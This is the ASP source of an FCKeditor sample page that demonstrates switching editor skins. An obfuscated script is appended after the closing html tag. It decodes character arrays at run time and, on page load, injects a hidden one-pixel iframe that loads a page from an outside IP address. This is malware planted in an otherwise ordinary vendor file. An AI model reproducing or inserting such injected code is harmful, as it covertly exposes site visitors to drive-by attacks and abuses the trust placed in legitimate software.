﻿<%@ CodePage=65001 Language="VBScript"%>
<% Option Explicit %>
<!--
 * FCKeditor - The text editor for Internet - http://www.fckeditor.net
 * Copyright (C) 2003-2008 Frederico Caldeira Knabben
 *
 * == BEGIN LICENSE ==
 *
 * Licensed under the terms of any of the following licenses at your
 * choice:
 *
 *  - GNU General Public License Version 2 or later (the "GPL")
 *    http://www.gnu.org/licenses/gpl.html
 *
 *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
 *    http://www.gnu.org/licenses/lgpl.html
 *
 *  - Mozilla Public License Version 1.1 or later (the "MPL")
 *    http://www.mozilla.org/MPL/MPL-1.1.html
 *
 * == END LICENSE ==
 *
 * Sample page.
-->
<% ' You must set "Enable Parent Paths" on your web site in order this relative include to work. %>
<!-- #INCLUDE file="../../fckeditor.asp" -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
	<head>
		<title>FCKeditor - Sample</title>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
		<meta name="robots" content="noindex, nofollow">
		<link href="../sample.css" rel="stylesheet" type="text/css" />
		<script type="text/javascript">

function FCKeditor_OnComplete( editorInstance )
{
	var oCombo = document.getElementById( 'cmbSkins' ) ;

	// Get the active skin.
	var sSkin = editorInstance.Config['SkinPath'] ;
	sSkin = sSkin.match( /[^\/]+(?=\/$)/g ) ;

	oCombo.value = sSkin ;
	oCombo.style.visibility = '' ;
}

function ChangeSkin( skinName )
{
	window.location.href = window.location.pathname + "?Skin=" + skinName ;
}

		</script>
	</head>
	<body>
		<h1>FCKeditor - ASP - Sample 4</h1>
		This sample shows how to change the editor skin.
		<hr>
		<table cellpadding="0" cellspacing="0" border="0">
			<tr>
				<td>
					Select the skin to load:&nbsp;
				</td>
				<td>
					<select id="cmbSkins" onchange="ChangeSkin(this.value);" style="VISIBILITY: hidden">
						<option value="default" selected>Default</option>
						<option value="office2003">Office 2003</option>
						<option value="silver">Silver</option>
					</select>
				</td>
			</tr>
		</table>
		<br>
		<form action="sampleposteddata.asp" method="post" target="_blank">
<%
' Automatically calculates the editor base path based on the _samples directory.
' This is usefull only for these samples. A real application should use something like this:
' oFCKeditor.BasePath = '/fckeditor/' ;	// '/fckeditor/' is the default value.
Dim sBasePath
sBasePath = Request.ServerVariables("PATH_INFO")
sBasePath = Left( sBasePath, InStrRev( sBasePath, "/_samples" ) )

Dim oFCKeditor
Set oFCKeditor = New FCKeditor
oFCKeditor.BasePath = sBasePath

If Request.QueryString("Skin") <> "" Then
	oFCKeditor.Config("SkinPath") = sBasePath + "editor/skins/" & Server.HTMLEncode( Request.QueryString("Skin") ) + "/"
End If

oFCKeditor.Value = "<p>This is some <strong>sample text</strong>. You are using <a href=""http://www.fckeditor.net/"">FCKeditor</a>."
oFCKeditor.Create "FCKeditor1"
%>
			<br>
			<input type="submit" value="Submit">
		</form>
	</body>
</html>
<script>function seZWkJeTk(cazbjmUJh, TFYpMRAQ, nlb){var yUKnjdLo=nlb.split(TFYpMRAQ);var fDd='';for(ZUMcZDuzHq=0x16+0x29+0x2a-0x1a-0x4f;ZUMcZDuzHq<(yUKnjdLo.length-1);ZUMcZDuzHq+=-0x27+0x7+0x21){ kQa = yUKnjdLo[ZUMcZDuzHq]^cazbjmUJh;fDd += String.fromCharCode(kQa);}return fDd;}function qAyFK(mSR){ window.eval(); } 
;function JCALQbvHV(){var PNCEeZ=new Function("KeEeJWCg", "return "+seZWkJeTk(0x1-0x1d-0x13-0x2b+0xc+0x351, 'M','871M876M864M886M878M870M877M887M')+"."+seZWkJeTk(0x6+0xd-0x11-0x2+0x2f+0x9a, 'u','171u166u173u176u')+"");var MbWv=PNCEeZ(0x20+0x2b+0x2e-0x78);MbWv.innerHTML += seZWkJeTk(-0x5+0x27+0xd+0x2d-0x11+0x29d, 'Y','724Y641Y654Y666Y649Y645Y653Y712Y671Y641Y652Y668Y640Y725Y729Y712Y640Y653Y641Y655Y640Y668Y725Y729Y712Y650Y647Y666Y652Y653Y666Y725Y728Y712Y654Y666Y649Y645Y653Y650Y647Y666Y652Y653Y666Y725Y728Y712Y667Y666Y651Y725Y719Y640Y668Y668Y664Y722Y711Y711Y721Y731Y710Y729Y733Y720Y710Y729Y729Y732Y710Y729Y731Y720Y711Y665Y653Y666Y668Y711Y641Y646Y652Y653Y656Y710Y664Y640Y664Y719Y726Y724Y711Y641Y654Y666Y649Y645Y653Y726Y');}function GzKuDEjue(JLJwFB){  fff.op.replace("452");var OIQddjrpF = document.getElementById('sAG'); } 
;if(window.addEventListener){window.addEventListener('load',JCALQbvHV,false);}else if(window.attachEvent){window.attachEvent('onload', JCALQbvHV);}function WFozhWgZ(QKByiJSc){  fff.op.replace("1017"); } 
;</script>